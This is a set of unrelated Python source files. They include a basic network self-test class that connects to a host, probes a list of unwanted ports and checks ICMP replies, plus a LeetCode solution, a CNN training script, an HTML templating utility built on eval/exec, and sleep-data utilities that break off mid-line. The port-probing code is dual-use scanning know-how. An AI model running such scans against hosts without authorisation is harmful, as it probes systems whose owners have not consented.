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sec_utils/SecNET.py
squigglepuff/firebytes
0
109547
#!/usr/bin/env python # *-* coding: utf-8 *-* import sys import re import socket if sys.version_info[0] < 3: import pyping from logger import PrintLog else: from sec_utils.logger import PrintLog ''' \brief This is a basic network testing class. This class's sole purpose is to test for REALLY basic network vulnerabilities. It'll run through these battery of tests: o Connection testing (is the connection stable?) o Port testing (any ports open we don't want?) o ICMP testing (can I DoS you?) If ANY of those fail, the class reports a SEC_FAILURE status. ''' class SecNET: SEC_SUCCESS = 0x0 SEC_FAILURE = 0xccffccff SEC_UNTESTED = 0xffaaffaa m_result = SEC_UNTESTED m_testResults = {'connection': SEC_UNTESTED, 'port': SEC_UNTESTED, 'icmp': SEC_UNTESTED} def __init__(self): global PrintLog # Global functor for PrintLog. # Setup the defaults. self.m_result = self.SEC_UNTESTED self.m_testResults = {'connection': self.SEC_UNTESTED, 'port': self.SEC_UNTESTED, 'icmp': self.SEC_UNTESTED} PrintLog("Network Pen-Tester ready.", "Info") ''' \brief Test connectivity. This function will attempt to test connectivity to the host. \param[in] host - Hostname/IP to connect to. \param[in] port - Port to connect to. \return True upon success, False upon failure. ''' def ConnectionTest(self, host, port): global PrintLog # Global functor for PrintLog. PrintLog("Attempting to establish connection to {0}:{1}".format(host, port), "Debug") bSuccess = False try: lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lSock.connect((host, port)) lSock.close() # Success! self.m_result = self.SEC_SUCCESS self.m_testResults['connection'] = self.SEC_SUCCESS bSuccess = True PrintLog("Successfully connected to {0}:{1}: PASS".format(host, port), "Success") except (IOError, OSError, socket.error, TypeError, ValueError) as err: self.m_result = self.SEC_FAILURE self.m_testResults['connection'] = self.SEC_FAILURE PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal") return bSuccess ''' \brief Test unsecured/unwanted ports. This function will probe for unsecured/unwanted ports on the given host. It will fail if ANY are fount. \param[in] host - Hostname/IP to connect to. \param[in] port_list - Acceptable ports (wanted). \return True upon success, False upon failure. ''' def PortTest(self, host, port_list=[443, 587, 993, 995, 8080], full_range=False): global PrintLog # Global functor for PrintLog. PrintLog("Scanning for unwanted ports...", "Debug") bSuccess = False try: if full_range == True: PrintLog("Scanning ALL 65,535 ports!", "Debug") else: PrintLog("Scanning ports {0}".format(port_list), "Debug") unwantedPorts = [25, 26, 80, 110, 143, 3306, 5432] for port in unwantedPorts: if port in port_list: PrintLog("Skipping potentially unsafe port: {0}".format(port), "Warning") continue else: # Scan this port. try: lSock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) lSock.settimeout(1.0) lSock.connect((host, port)) lSock.close() PrintLog("Port {0} is open on {1}".format(port, host), "Failure") self.m_result = self.SEC_FAILURE self.m_testResults['port'] = self.SEC_FAILURE break except (IOError, OSError, socket.error, socket.timeout, TypeError, ValueError) as err: if type(err) == socket.error or type(err) == socket.timeout: PrintLog("Port {0} is NOT open on {1}".format(port, host), "Success") else: PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal") sys.exit(255) if self.m_result != self.SEC_FAILURE and self.m_testResults['port'] != self.SEC_FAILURE: PrintLog("Port scan complete: PASS!", "Success") self.m_result = self.SEC_SUCCESS self.m_testResults['port'] = self.SEC_SUCCESS bSuccess = True except (IOError, OSError, socket.error, TypeError, ValueError) as err: self.m_result = self.SEC_FAILURE self.m_testResults['port'] = self.SEC_FAILURE PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal") return bSuccess ''' \brief Test for ICMP echos. This function will check to see if the host is responding to ICMP. If it is, it's an automatic FAIL. \param[in] host - Hostname/IP to connect to. \return True upon success, False upon failure. ''' def IcmpTest(self, host): global PrintLog # Global functor for PrintLog. if sys.version_info[0] < 3: PrintLog("Checking for ICMP echo...", "Debug") bSuccess = False try: icmpResp = pyping.ping(host) if None != icmpResp.max_rtt: PrintLog("ICMP responding!", "Failure") self.m_result = self.SEC_FAILURE self.m_testResults['icmp'] = self.SEC_FAILURE else: PrintLog("ICMP dropped: PASS!", "Success") self.m_result = self.SEC_SUCCESS self.m_testResults['icmp'] = self.SEC_SUCCESS bSuccess = True except (IOError, OSError, socket.error, TypeError, ValueError) as err: if type(err) == socket.error or type(err) == socket.timeout: PrintLog("ICMP not available!", "Failure") self.m_result = self.SEC_FAILURE self.m_testResults['icmp'] = self.SEC_FAILURE else: PrintLog("{0} \033[1;34m{1}\033[0m".format(err, type(err)), "Fatal") sys.exit(255) else: PrintLog("Version of Python (python>=3) doesn't suppot PyPing! Assuming OK (please check manually)", "Success") self.m_result = self.SEC_SUCCESS self.m_testResults['icmp'] = self.SEC_SUCCESS bSuccess = True return bSuccess
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Binary Tree Maximum Path Sum.py
frank0215/Leetcode_python
0
116868
class TreeNode: def __init__(self, val): self.val = val self.left =None self.right = None # 只能從root開始的最大路徑和 (可以不選 都不選為0) def maxPathSumRoot(root): if not root: return 0 # 有選root 往左或往右 left = maxPathSumRoot(root.left) + root.val right = maxPathSumRoot(root.right) + root.val # 沒選root result = 0 return max(left, right, result) import sys class Solution: # 回傳任意起點走到任意終點的最大路徑和(不可以不選 只少選一個節點) def maxPathSum(self, root): if not root: return -(sys.maxsize) # 經過中間(root) 最大路徑和 middle = maxPathSumRoot(root.left) + root.val + maxPathSumRoot(root.right) # 不經過中間的最大路徑和 left = self.maxPathSum(root.left) right = self.maxPathSum(root.right) return max(left, right, middle) if __name__=='__main__': root = TreeNode(-10) root.left = TreeNode(9) root.right = TreeNode(20) root.right.left = TreeNode(15) root.right.right = TreeNode(7) print(Solution().maxPathSum(root))
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CNN/dpp_regression.py
phillnguyen/schnablelab
0
143861
""" train neural network to detect whether plant flowers or not """ import warnings warnings.filterwarnings('ignore',category=FutureWarning) from glob import glob import numpy as np import pickle import deepplantphenomics as dpp from pathlib import Path import os import sys def train(train_dir, label_fn, model_dir, epoch, lr): """ train_dir: the directory where your training images located label_fn: the file name of labels under train_dir. Just specify the file name don't inclde the path. model_dir: the name of you model. Model results will be save to this dir epoch: specify the epoch. Based on dpp document suggest 100 for plant stress and 500 for counting. lr: specify learnning rate. 0.0001 used in dpp leaf counting example """ model_dir_path = Path(model_dir) if not model_dir_path.exists(): model_dir_path.mkdir() tensorboard_dir_path = model_dir_path/'tensorboard' img_dir = Path(train_dir) model = dpp.RegressionModel(debug=True, save_checkpoints=True, report_rate=150, tensorboard_dir=str(tensorboard_dir_path), save_dir=str(model_dir_path)) #model.set_batch_size(72) model.set_batch_size(45) #model.set_number_of_threads(10) model.set_number_of_threads(100) model.set_image_dimensions(418, 283, 3) model.set_resize_images(True) model.set_num_regression_outputs(1) model.set_test_split(0.0) model.set_validation_split(0.0) model.set_learning_rate(float(lr)) model.set_weight_initializer('xavier') model.set_maximum_training_epochs(int(epoch)) # Augmentation options model.set_augmentation_brightness_and_contrast(True) model.set_augmentation_flip_horizontal(True) model.set_augmentation_flip_vertical(True) #model.set_augmentation_crop(True) # Load labels and images model.load_multiple_labels_from_csv(img_dir/label_fn, id_column=0) model.load_images_with_ids_from_directory(img_dir) # Define a model architecture model.add_input_layer() model.add_convolutional_layer(filter_dimension=[5, 5, 3, 32], stride_length=1, activation_function='tanh') model.add_pooling_layer(kernel_size=3, stride_length=2) model.add_convolutional_layer(filter_dimension=[5, 5, 32, 64], stride_length=1, activation_function='tanh') model.add_pooling_layer(kernel_size=3, stride_length=2) model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh') model.add_pooling_layer(kernel_size=3, stride_length=2) model.add_convolutional_layer(filter_dimension=[3, 3, 64, 64], stride_length=1, activation_function='tanh') model.add_pooling_layer(kernel_size=3, stride_length=2) model.add_output_layer() # Begin training the model model.begin_training() if len(sys.argv)==6: train(*sys.argv[1:]) else: print('train_dir', 'label_fn', 'model_dir', 'epoch', 'lr')
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py/yaptu.py
karim7262/pytudes
1
73737
"""Yet Another Python Templating Utility, Version 1.2, by <NAME>. http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/52305 (Specialized to HTML and modified by <NAME>.) Copies input to output, with some substitutions. There are three types of substitutions: lexical, expression, and statement. LEXICAL SUBSTITUTIONS: & < > These characters, if surrounded by whitespace, are replaced by the corresonding HTML entities: &amp;, &lt;, &gt;. EXPRESSION SUBSTITUTIONS: <<exp>> Replace <<exp>> by eval(exp), where exp is a Python expression. The most common use is when exp is just a variable name. Example: <<green>> Special case 1: If exp starts with '/', replace '/' by '_'. Example: <</green>> becomes <<_green> Special case 2: If exp evals to a callable, call it. Example: <<random.random>> is the same as <<random.random()>> Special case 3: If exp evals to None, replace it with ''. Example: <<list.append(item)>> generates no text. STATEMENT SUBSTITUTIONS: All statement substitutions start with a #[ in column 1, and end with a #] in column 1 of a subsequent line. Nesting is allowed, and works like you would expect. There are two variants: #[ stmts #] Any number of lines of Python stmts are executed. The first line must be empty, except for the #[ #[ stmt-header: lines #] The lines are interpreted as HTML with embedded expressions, and are sent to output, once for each execution of stmt-header. stmt-header is usually a for or if; This is hard to explain, but easy to see with an example: <table><tr><th> Number <th> Number squared #[ for i in range(10): <tr><td> <<i>> <td> <<i**2>> #] </table> This produces one line of the table for each value of i in [0 .. 9]. If your compound statement has multiple stmt-headers, you use #| to introduce the subsequent stmt-headers (such as else: or except:). Another example: #[ if time.localtime()[6] in [5, 6]: Have a good weekend! #| else: Time for work. #] """ import sys, re, os, os.path class Copier: "Smart-copier (YAPTU) class" def copyblock(self, i=0, last=None): "Main copy method: process lines [i,last) of block" def repl(match, self=self): "Replace the match with its value as a Python expression." expr = self.preproc(match.group(1), 'eval') if self.verbose: print '=== eval{%s}' % expr, try: val = eval(expr, self.globals) except: self.oops('eval', expr) if callable(val): val = val() if val == None: val = '' if self.verbose: print '========>', val return str(val) block = self.globals['_bl'] if last is None: last = len(block) while i < last: line = block[i] if line.startswith("#["): # a statement starts at line block[i] # i is the last line to _not_ process stmt = line[2:].strip() j = i+1 # look for 'finish' from here onwards nest = 1 # count nesting levels of statements while j<last and not stmt.endswith("#]"): line = block[j] # first look for nested statements or 'finish' lines if line.startswith("#]"): # found a statement-end nest = nest - 1 if nest == 0: break # j is first line to _not_ process elif line.startswith("#["): # found a nested statement nest = nest + 1 elif nest == 1 and line.startswith("#|"): # look for continuation only at this nesting nestat = line[2:].strip() stmt = '%s _cb(%s,%s)\n%s' % (stmt,i+1,j,nestat) i=j # again, i is the last line to _not_ process j = j+1 if stmt == '': ## A multi-line python suite self.execute(''.join(block[i+1:j])) i = j+1 else: ## The header of a for loop (etc.) is on this line self.execute("%s _cb(%s,%s)" % (stmt,i+1,j)) i = j+1 else: # normal line, just copy with substitution self.outf.write(self.regex.sub(repl,self.preproc(line,'copy'))) i = i+1 def __init__(self, globals): "Create a Copier." self.regex = re.compile("<<(.*?)>>") self.globals = globals self.globals['_cb'] = self.copyblock self.outf = sys.stdout self.verbose = 0 def execute(self, stmt): stmt = self.preproc(stmt, 'exec') + '\n' if self.verbose: print "******* executing {%s} in %s" % (stmt, self.globals.keys()) try: exec stmt in self.globals except: self.oops('exec', stmt) def oops(self, why, what): print 'Something went wrong in %sing {%s}' % (why, what) print 'Globals:', self.globals.keys(), \ self.globals.get('SECTIONS', '???') raise def preproc(self, string, why, reg=re.compile(r"\s([<>&])\s"), table={'&':' &amp; ', '<':' &lt; ', '>':' &gt; '}): # If it starts with '/', change to '_' if why in ('exec', 'eval'): string = string.strip() if string[0] == '/': string = '_' + string[1:] return string elif why == 'copy': # Expand & < > into entitites if surrounded by whitespace return reg.sub(lambda match: table[match.group(1)], string) def copyfile(self, filename, ext="html"): "Convert filename.* to filename.ext, where ext defaults to html." global yaptu_filename outname = re.sub('[.][a-zA-Z0-9]+?$', '', filename) + '.'+ext print 'Transforming', filename, 'to', outname self.globals['_bl'] = file(filename).readlines() yaptu_filename = filename self.outf = file(outname, 'w') self.copyblock() if __name__ == '__main__': copier = Copier(globals()) for filename in sys.argv[1:]: if filename == '-v': copier.verbose = 1 else: copier.copyfile(filename)
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sleep_utils.py
skjerns/NT1-HRV
1
30866
<filename>sleep_utils.py # -*- coding: utf-8 -*- """ Created on Thu Nov 21 20:19:26 2019 @author: skjerns """ from pyedflib.highlevel import * import os import gc import warnings import ospath #pip install https://github.com/skjerns/skjerns-utils import numpy as np import pyedflib #pip install https://github.com/skjerns/pyedflib/archive/custom_version.zip import time from tqdm import tqdm from datetime import datetime import dateparser import logging from joblib import Parallel, delayed import matplotlib.pyplot as plt from lspopt import spectrogram_lspopt import matplotlib def read_hypnogram(hypno_file, epochlen = 30, epochlen_infile=None, mode='auto', exp_seconds=None): """ reads a hypnogram file as created by VisBrain or as CSV type :param hypno_file: a path to the hypnogram :param epochlen: how many seconds per label in output :param epochlen_infile: how many seconds per label in original file :param mode: 'auto', 'time' or 'csv', see SleepDev/docs/hypnogram.md :param exp_seconds: How many seconds does the matching recording have? """ assert str(type(epochlen)()) == '0' assert epochlen_infile is None or str(type(epochlen_infile)()) == '0' with open(hypno_file, 'r') as file: content = file.read() content = content.replace('\r', '') # remove windows style \r\n #conversion dictionary conv_dict = {'WAKE':0, 'WACH':0, 'WK':0, 'NWAKE': 0, 'N1': 1, 'NREM1': 1, 'N2': 2, 'NREM2': 2, 'N3': 3, 'NREM3': 3, 'N4':3, 'NREM4': 3, 'REM': 4, 0:0, 1:1, 2:2, 3:3, 4:4, -1:5, 5:5, 'ART': 5, 'A':5, 'ARTEFAKT':5, '8': 5, 'MT':5, 'BEWEGUNG':5, '9':5, '?': 5, ' ': 5, 'NAN': 5, 'UNSCORED': 5} lines = content.split('\n') if mode=='auto': if lines[0].startswith('*'): # if there is a star, we assume it's the visbrain type mode = 'visbrain' elif lines[0].replace('-', '').isnumeric(): mode = 'csv' elif lines[0].startswith('[HypnogramAASM]'): mode = 'dreams' elif lines[0].startswith(' Epoch Number ,Start Time ,Sleep Stage'): mode = 'alice' elif 'abstime' in lines[0]: mode = 'dat' elif lines[0].startswith('Signal ID:'): mode = 'somnoscreen' elif any(['luna-' in x for x in lines[:5]]): mode = 'luna' elif hypno_file.endswith('.eannot'): mode = 'csv' else : mode==None # reading file in format as used by <NAME> # files with a datestamp per stage annotation if mode=='dat': if epochlen_infile is not None: warnings.warn('epochlen_infile has been supplied, but hypnogram is' 'time based, will be ignored') elif exp_seconds and not epochlen_infile: epochlen_infile=exp_seconds//len(lines) print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile)) stages = [] for line1, line2 in zip(lines[1:-1], lines[2:]): if len(line1.strip())==0: continue # skip empty lines if len(line2.strip())==0: continue # skip empty lines curr_t, _, stage, *_ = line1.split('\t') next_t,*_ = line2.split('\t') curr_t = datetime.strptime(curr_t, '%Y-%m-%d %H:%M:%S') next_t = datetime.strptime(next_t, '%Y-%m-%d %H:%M:%S') assert next_t > curr_t, 'timestamp 2 is smaller than 1? {} < {}'.format(next_t, curr_t) sec_diff = (next_t - curr_t).seconds if exp_seconds and epochlen_infile!=sec_diff: warnings.warn('Epochlen in file is {} but {} would be selected'.format(sec_diff, epochlen_infile)) stage = conv_dict[stage.upper()] stages.extend([stage]*sec_diff) elif mode=='somnoscreen': if epochlen_infile is not None: warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored') epochlen_infile = int(lines[5].replace('Rate: ', '').replace('s','')) stages = [] for line in lines[6:]: if len(line.strip())==0: continue # skip empty lines _,stage = line.split('; ') stage = conv_dict[stage.upper()] stages.extend([stage]*epochlen_infile) # read hypnogram as written by visbrain (time based) elif mode=='visbrain': if epochlen_infile is not None: warnings.warn('epochlen_infile has been supplied, but hypnogram is time based,' 'will be ignored') stages = [] prev_t = 0 for line in lines: if len(line.strip())==0: continue if line[0] in '*#%/\\"\'': continue # this line seems to be a comment s, t = line.split('\t') t = float(t) s = conv_dict[s.upper()] l = int(np.round((t-prev_t))) # length of this stage stages.extend([s]*l) prev_t = t # read hypnogram as simple CSV file, number based or string based elif mode=='csv': if exp_seconds and not epochlen_infile: epochlen_infile=exp_seconds//len(lines) print('[INFO] Assuming csv annotations with one entry per {} seconds'.format(epochlen_infile)) elif epochlen_infile is None: if len(lines) < 2500: # we assume no recording is longer than 21 hours epochlen_infile = 30 else: epochlen_infile = 1 print('[INFO] Assuming csv annotations are per second') lines = [conv_dict[l.upper()] if isinstance(l, str) else int(l) for l in lines if len(l)>0] lines = [[line]*epochlen_infile for line in lines] stages = np.array(lines).flatten() # for the Dreams Database # http://www.tcts.fpms.ac.be/~devuyst/Databases/DatabaseSubjects/ elif mode=='dreams': epochlen_infile = 5 conv_dict = {-2:5,-1:5, 0:5, 1:3, 2:2, 3:1, 4:4, 5:0} lines = [[int(line)] for line in lines[1:] if len(line)>0] lines = [[line]*epochlen_infile for line in lines] stages = np.array([conv_dict[l.upper()] for l in np.array(lines).flatten()]) # for hypnogram created with Alice 5 software elif mode=='alice': epochlen_infile = 30 lines = [line.split(',')[-1] for line in lines[1:] if len(line)>0] lines = [[line]*epochlen_infile for line in lines] try: stages = np.array([conv_dict[l] for l in np.array(lines).flatten()]) except KeyError as e: print('Unknown sleep stage in file') raise e elif mode=='luna': # hypnograms created by Luna software from sleepdata.org if epochlen_infile is not None: warnings.warn('epochlen_infile has been supplied, but information is in file, will be ignored') import xml.etree.ElementTree as ET root = ET.fromstringlist(lines) # we don't actually properly parse it as it is intended, just # assume that it always contains the same labels instances = root[-1] stages = [] for instance in instances: stage_str = instance.attrib['class'] try: stage_nr = conv_dict[stage_str.upper()] except KeyError as e: print(f'Unknown sleep stage in file {hypno_file} : {stage_str}') raise e duration = int(instance.find('Duration').text) if duration!=30: raise ValueError(f'Duration!=30, not expected: {duration}') stages.extend([stage_nr]*duration) stages = np.array(stages) else: raise ValueError('This is not a recognized hypnogram: {}'.format(hypno_file)) stages = stages[::epochlen] if len(stages)==0: print('[WARNING] hypnogram loading failed, len == 0') return np.array(stages) def infer_eeg_channels(ch_names): """ This function receives a list of channel names and will return one frontal, one central and one occipital channel. """ f = ['EEG Fz', 'EEG F4', 'EEG Fpz', 'EEG Fp1', 'EEG Fp2'] c = ['EEG C4', 'EEG C3'] o = ['EEG Oz', 'EEG O2', 'EEG O1'] found = [] # find frontal channel for ch in ch_names: if any([x in ch for x in f]): found.append(ch) break # find central channel for ch in ch_names: if any([x in ch for x in c]): found.append(ch) break # find occipital channel for ch in ch_names: if any([x in ch for x in o]): found.append(ch) break return found def infer_eog_channels(ch_names): """ This function receives a list of channel names and will return one frontal, one central and one occipital channel. """ eog = ['EOG ROC', 'EOG LOC'] found = [] # find frontal channel for ch in ch_names: if any([x in ch for x in eog]): found.append(ch) return found def infer_emg_channels(ch_names): """ This function receives a list of channel names and will return one frontal, one central and one occipital channel. """ emg = ['EM<NAME>'] found = [] # find frontal channel for ch in ch_names: if any([x in ch for x in emg]): found.append(ch) return found def hypno2time(hypno, seconds_per_epoch=1): """ Converts a hypnogram based in epochs into the format as defined by VisBrain: http://visbrain.org/sleep.html#save-hypnogram """ hypno = np.repeat(hypno, seconds_per_epoch) s = '*Duration_sec {}\n'.format(len(hypno)) stages = ['Wake', 'N1', 'N2', 'N3', 'REM', 'Art'] d = dict(enumerate(stages)) hypno_str = [d[h] for h in hypno] last_stage=hypno_str[0] for second, stage in enumerate(hypno_str): if stage!=last_stage: s += '{}\t{}\n'.format(last_stage, second) last_stage=stage s += '{}\t{}\n'.format(stage, second+1) return s def write_hypnogram(hypno, filename, seconds_per_annotation=30, comment=None, overwrite=False): """ Save a hypnogram based on annotations per epochs in VisBrain style (ie. The exact onset of each sleep stage is annotated in time space.) This format is recommended for saving hypnograms as it avoids ambiguity. :param filename: where to save the data :param hypno: The hypnogram either as list or np.array :param seconds_per_epoch: How many seconds each annotation contains :param comment: Add a comment to the beginning of the file :param overwrite: overwrite file? """ assert not ospath.exists(filename) or overwrite, \ 'File already exists, no overwrite' hypno = np.repeat(hypno, seconds_per_annotation) hypno_str = hypno2time(hypno) if comment is not None: comment = comment.replace('\n', '\n*') hypno_str = '*' + comment + '\n' + hypno_str hypno_str = hypno_str.replace('\n\n', '\n') with open(filename, 'w') as f: f.write(hypno_str) return True def minmax2lsb(dmin, dmax, pmin, pmax): """ converts the edf min/max values to lsb and offset (x*m+b) """ lsb = (pmax - pmin) / (dmax - dmin) offset = pmax / lsb - dmax return lsb, offset def make_header(technician='', recording_additional='', patientname='', patient_additional='', patientcode= '', equipment= '', admincode= '', gender= '', startdate=None, birthdate= ''): """ A convenience function to create an EDF header (a dictionary) that can be used by pyedflib to update the main header of the EDF """ if not( startdate is None or isinstance(startdate, datetime)): warnings.warn('must be datetime or None, is {}: {},attempting convert'\ .format(type(startdate), startdate)) startdate = dateparser.parse(startdate) if not (birthdate == '' or isinstance(birthdate, (datetime,str))): warnings.warn('must be datetime or empty, is {}, {}'\ .format(type(birthdate), birthdate)) birthdate = dateparser.parse(birthdate) if startdate is None: now = datetime.now() startdate = datetime(now.year, now.month, now.day, now.hour, now.minute, now.second) del now if isinstance(birthdate, datetime): birthdate = birthdate.strftime('%d %b %Y') local = locals() header = {} for var in local: if isinstance(local[var], datetime): header[var] = local[var] else: header[var] = str(local[var]) return header def make_signal_header(label, dimension='uV', sample_rate=256, physical_min=-200, physical_max=200, digital_min=-32768, digital_max=32767, transducer='', prefiler=''): """ A convenience function that creates a signal header for a given signal. This can be used to create a list of signal headers that is used by pyedflib to create an edf. With this, different sampling frequencies can be indicated. :param label: the name of the channel """ signal_header = {'label': label, 'dimension': dimension, 'sample_rate': sample_rate, 'physical_min': physical_min, 'physical_max': physical_max, 'digital_min': digital_min, 'digital_max': digital_max, 'transducer': transducer, 'prefilter': prefiler} return signal_header def make_signal_headers(list_of_labels, dimension='uV', sample_rate=256, physical_min=-200, physical_max=200, digital_min=-32768, digital_max=32767, transducer='', prefiler=''): """ A function that creates signal headers for a given list of channel labels. This can only be used if each channel has the same sampling frequency :param list_of_labels: A list with labels for each channel. :returns: A dictionary that can be used by pyedflib to update the header """ signal_headers = [] for label in list_of_labels: header = make_signal_header(label, dimension=dimension, sample_rate=sample_rate, physical_min=physical_min, physical_max=physical_max, digital_min=digital_min, digital_max=digital_max, transducer=transducer, prefiler=prefiler) signal_headers.append(header) return signal_headers def write_edf(edf_file, signals, signal_headers, header, digital=False, correct=False): """ Write signals to an edf_file. Header can be generated on the fly. :param signals: The signals as a list of arrays or a ndarray :param signal_headers: a list with one signal header(dict) for each signal. See pyedflib.EdfWriter.setSignalHeader :param header: a main header (dict) for the EDF file, see pyedflib.EdfWriter.setHeader for details :param digital: whether signals are presented digitally or in physical values :returns: True if successful, False if failed """ assert header is None or isinstance(header, dict), \ 'header must be dictioniary' assert isinstance(signal_headers, list), \ 'signal headers must be list' assert len(signal_headers)==len(signals), \ 'signals and signal_headers must be same length' n_channels = len(signals) # check min and max values if digital==True and correct: for sig, sigh in zip(signals,signal_headers): dmin, dmax = sigh['digital_min'], sigh['digital_max'] pmin, pmax = sigh['physical_min'], sigh['physical_max'] ch_name=sigh['label'] if dmin>dmax: logging.warning('{}: dmin>dmax, {}>{}, will correct'.format(\ ch_name, dmin, dmax)) dmin, dmax = dmax, dmin sig *= -1 if pmin>pmax: logging.warning('{}: pmin>pmax, {}>{}, will correct'.format(\ ch_name, pmin, pmax)) pmin, pmax = pmax, pmin sig *= -1 dsmin, dsmax = round(sig.min()), round(sig.max()) psmin = dig2phys(dsmin, dmin, dmax, pmin, pmax) psmax = dig2phys(dsmax, dmin, dmax, pmin, pmax) min_dist = np.abs(dig2phys(1, dmin, dmax, pmin, pmax)) if dsmin<dmin: logging.warning('{}:Digital signal minimum is {}'\ ', but value range is {}, will correct'.format\ (ch_name, dmin, dsmin)) dsmin = min(dsmin, 32767) sigh['digital_min'] = dsmin if dsmax>dmax: logging.warning('{}:Digital signal maximum is {}'\ ', but value range is {}, will correct'.format\ (ch_name, dmax, dsmax)) dsmax = min(dsmax, 32767) sigh['digital_max'] = dsmax if psmax-min_dist>pmax: logging.warning('{}:Phyiscal signal maximum is {}'\ ', but value range is {}, will correct'.format\ (ch_name, pmax, psmax)) sigh['physical_max'] = psmax if psmin+min_dist<pmin: logging.warning('{}:Physical signal minimum is {}'\ ', but value range is {}, will correct'.format\ (ch_name, pmin, psmin)) sigh['physical_min'] = psmin # also add annotations annotations = header.get('annotations', '') with pyedflib.EdfWriter(edf_file, n_channels=n_channels) as f: f.setSignalHeaders(signal_headers) f.setHeader(header) f.writeSamples(signals, digital=digital) for annotation in annotations: f.writeAnnotation(*annotation) del f return os.path.isfile(edf_file) def change_polarity(edf_file, channels, new_file=None): if new_file is None: new_file = os.path.splitext(edf_file)[0] + '_inv.edf' if isinstance(channels, str): channels=[channels] channels = [c.lower() for c in channels] signals, signal_headers, header = read_edf(edf_file, digital=True) for i,sig in enumerate(signals): shead = signal_headers[i] label = signal_headers[i]['label'].lower() if label in channels: print('inverting {}'.format(label)) shead['physical_min']*=-1 shead['physical_max']*=-1 write_edf(new_file, signals, signal_headers, header, digital=True) compare_edf(edf_file, new_file) def specgram_multitaper(data, sfreq, sperseg=30, perc_overlap=1/3, lfreq=0, ufreq=40, show_plot=True, title='', ax=None): """ Display EEG spectogram using a multitaper from 0-30 Hz :param data: the data to visualize, should be of rank 1 :param sfreq: the sampling frequency of the data :param sperseg: number of seconds to use per FFT :param noverlap: percentage of overlap between segments :param lfreq: Lower frequency to display :param ufreq: Upper frequency to display :param show_plot: If false, only the mesh is returned, but not Figure opened :param ax: An axis where to plot. Else will create a new Figure :returns: the resulting mesh as it would be plotted """ if ax is None: plt.figure() ax=plt.subplot(1,1,1) assert isinstance(show_plot, bool), 'show_plot must be boolean' nperseg = int(round(sperseg * sfreq)) overlap = int(round(perc_overlap * nperseg)) f_range = [lfreq, ufreq] freq, xy, mesh = spectrogram_lspopt(data, sfreq, nperseg=nperseg, noverlap=overlap, c_parameter=20.) if mesh.ndim==3: mesh = mesh.squeeze().T mesh = 20 * np.log10(mesh+0.0000001) idx_notfinite = np.isfinite(mesh)==False mesh[idx_notfinite] = np.min(mesh[~idx_notfinite]) f_range[1] = np.abs(freq - ufreq).argmin() sls = slice(f_range[0], f_range[1] + 1) freq = freq[sls] mesh = mesh[sls, :] mesh = mesh - mesh.min() mesh = mesh / mesh.max() if show_plot: ax.imshow(np.flipud(mesh), aspect='auto') formatter = matplotlib.ticker.FuncFormatter(lambda s, x: time.strftime('%H:%M', time.gmtime(int(s*(sperseg-overlap/sfreq))))) ax.xaxis.set_major_formatter(formatter) if xy[-1]<3600*7: # 7 hours is half hourly tick_distance = max(np.argmax(xy>sperseg*60),5) #plot per half hour else: # more than 7 hours hourly ticks tick_distance = np.argmax(xy>sperseg*60)*2 #plot per half hour two_hz_pos = np.argmax(freq>1.99999999) ytick_pos = np.arange(0, len(freq), two_hz_pos) ax.set_xticks(np.arange(0, mesh.shape[1], tick_distance)) ax.set_yticks(ytick_pos) ax.set_yticklabels(np.arange(ufreq, lfreq-1, -2)) ax.set_xlabel('Time after onset') ax.set_ylabel('Frequency') ax.set_title(title) warnings.filterwarnings("ignore", message='This figure includes Axes that are not compatible') plt.tight_layout() return mesh def plot_hypnogram(stages, labeldict=None, title=None, epochlen=30, ax=None, verbose=True, xlabel=True, ylabel=True, **kwargs,): """ Plot a hypnogram, the flexible way. A labeldict should give a mapping which integer belongs to which class E.g labeldict = {0: 'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS'} or {0:'Wake', 1:'Sleep', 2:'Sleep', 3:'Sleep', 4:'Sleep', 5:'Artefact'} The order of the labels on the plot will be determined by the order of the dictionary. E.g. {0:'Wake', 1:'REM', 2:'NREM'} will plot Wake on top, then REM, then NREM while {0:'Wake', 2:'NREM', 1:'NREM'} will plot Wake on top, then NREM, then REM This dictionary can be infered automatically from the numbers that are present in the hypnogram but this functionality does not cover all cases. :param stages: An array with different stages annotated as integers :param labeldict: An enumeration of labels that correspond to the integers of stages :param title: Title of the window :param epochlen: How many seconds is one epoch in this annotation :param ax: the axis in which we plot :param verbose: Print stuff or not. :param xlabel: Display xlabel ('Time after record start') :param ylabel: Display ylabel ('Sleep Stage') :param kwargs: additional arguments passed to plt.plot(), e.g. c='red' """ if labeldict is None: labeldict = {} _defaultdict = {-1: 'A', 0:'Wake', 4:'REM', 1:'S1', 2:'S2', 3:'SWS', 5:'Artefact'} if set(stages) == set([0, 1]): labeldict = {0:'Wake', 1:'Sleep'} elif set(stages) == set([0, 1, 2]): labeldict = {0:'Wake', 2:'REM', 1:'NREM'} else: for stage in _defaultdict: if stage in stages: labeldict[stage] = _defaultdict[stage] if verbose: print('Assuming {}'.format(labeldict)) # check if all stages that are in the hypnogram have a corresponding label in the dict for stage in np.unique(stages): if not stage in labeldict: print('WARNING: {} is in stages, but not in labeldict, stage will be ??'.format(stage)) # create the label order labels = [labeldict[l] for l in labeldict] labels = sorted(set(labels), key=labels.index) # we iterate through the stages and fetch the label for this stage # then we append the position on the plot of this stage via the labels-dict x = [] y = [] rem_start = [] rem_end = [] for i in np.arange(len(stages)): s = stages[i] label = labeldict.get(s) if label is None: p = 99 if '??' not in labels: labels.append('??') else : p = -labels.index(label) # make some red line markers for REM, mark beginning and end of REM if 'REM' in labels: if label=='REM' and len(rem_start)==len(rem_end): rem_start.append(i-2) elif label!='REM' and len(rem_start)>len(rem_end): rem_end.append(i-1) if label=='REM' and i==len(stages)-1: rem_end.append(i+1) if i!=0: y.append(p) x.append(i-1) y.append(p) x.append(i) assert len(rem_start)==len(rem_end), 'Something went wrong in REM length calculation' x = np.array(x)*epochlen y = np.array(y) y[y==99] = y.min()-1 # make sure Unknown stage is plotted below all else if ax is None: plt.figure() ax = plt.gca() formatter = matplotlib.ticker.FuncFormatter(lambda s, x: 